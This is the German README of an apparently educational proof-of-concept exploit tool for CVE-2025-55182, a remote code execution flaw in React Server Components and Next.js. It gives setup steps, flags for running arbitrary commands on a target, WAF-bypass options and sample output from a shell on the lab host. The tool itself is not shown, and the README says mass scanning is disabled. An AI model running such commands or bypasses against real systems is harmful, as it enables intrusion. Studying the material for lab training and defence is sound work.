
Präzisionsbasierte Erkennung von Remote-Code-Ausführungs-Schwachstellen in RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – React Server Components RCE PoC
Bildungs-Exploit-Client für das Hidden Investigations React2Shell-Labor.
Dieses Repository enthält ein Single-Host Proof-of-Concept (PoC) Exploit-Tool für die React2Shell-Sicherheitslücke (CVE-2025-55182), die sich gegen fehlkonfigurierte React Server Components / Next.js-Anwendungen richtet.
Es ist dafür ausgelegt, nur gegen das offizielle Hidden Investigations React2Shell-Labor oder Systeme, die Sie ausdrücklich besitzen / verwalten, eingesetzt zu werden.
Dieses Projekt wird ausschließlich zu Bildungs- und defensiven Sicherheitsforschungszwecken bereitgestellt:
whoami als Standard)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, benutzerdefinierte Header)-o/--output, --all-results)requestsInstallieren Sie die Abhängigkeiten mit:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # Unter Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
Grundlegende Hilfe:
python3 react2shell-scanner.py -h
Das Tool erfordert eine Ziel-URL:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# oder
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
Wenn Sie es ohne -t/--target oder -u/--url ausführen, gibt es eine gebrandete Hilfemeldung aus und beendet sich.
| Option | Beschreibung | Standard |
|---|---|---|
-t, --target | Ziel-URL oder Domain (erforderlich, es sei denn, --url wird verwendet) | None |
-u, --url | Alias für --target (Assetnote-ähnliches Flag) | None |
--path | Zu testender Pfad (kann mehrfach verwendet werden, z. B. /, /_next) | / |
--path-file | Datei mit zu testenden Pfaden (eine pro Zeile) | None |
Hinweis: Dieser PoC ist nur für Einzelhosts. Die Option
-l/--listist vorhanden, aber absichtlich deaktiviert.
| Option | Beschreibung | Standard |
|---|---|---|
-c, --command | Auf dem Ziel auszuführender Befehl (wenn der Exploit erfolgreich ist) | id |
--safe-check | Ein SAFE_CHECK-Payload verwenden (kein OS-Befehl, nur eine Markierungszeichenfolge) | aus |
--windows | Standards für Windows-Ziele anpassen (z. B. whoami verwenden, wenn Befehl id ist) | aus |
--waf-bypass | Ein großes Junk-Multipart-Feld an den Anforderungstext anhängen, um WAF zu umgehen | aus |
--waf-bypass-size KB | Größe des Junk-Felds in KB bei Verwendung von --waf-bypass | 128 |
--vercel-waf-bypass | Ein alternatives Multipart-Layout verwenden, das das Vercel-WAF-Verhalten beeinflussen soll (vereinfachter PoC) | aus |
| Option | Beschreibung | Standard |
|---|---|---|
--timeout SECONDS | Zeitüberschreitung der Anforderung in Sekunden | 15 (oder 20 wenn --waf-bypass und kein Timeout gesetzt) |
-k, --insecure | SSL-Verifizierung deaktivieren (wie curl -k) | aus |
-H, --header | Benutzerdefinierter Header, z. B. -H "X-Forwarded-For: 127.0.0.1" (wiederholbar) | None |
| Option | Beschreibung | Standard |
|---|---|---|
-o, --output FILE | JSON-Ergebnisse in FILE schreiben | None |
--all-results | Bei Verwendung von --output auch nicht verwundbare Ergebnisse einschließen | aus |
-v, --verbose | Ausführlicher Modus – HTTP-Status und X-Action-Redirect-Header anzeigen | aus |
-q, --quiet | Quiet-Modus – gibt bei Erfolg nur die normalisierte Befehlsausgabe aus | aus |
--no-color | Farbige Terminalausgabe deaktivieren | aus |
Beispiel für den Quiet-Modus (schöne, mehrzeilige Ausgabe):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
Ausgabe:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
Die folgenden Flags existieren, um die CLI von Assetnote zu spiegeln, sind aber in diesem PoC nicht implementiert, um Missbrauch durch Massen-Scans zu vermeiden:
| Option | Status |
|---|---|
-l, --list | Nicht implementiert |
--threads N | Nicht implementiert |
Wenn Sie -l/--list verwenden, gibt das Tool eine Warnung aus und beendet sich, und schlägt vor, den ursprünglichen react2shell-scanner von Assetnote für großflächiges sicheres Scannen zu verwenden.
Gegen lokales Labor ausführen: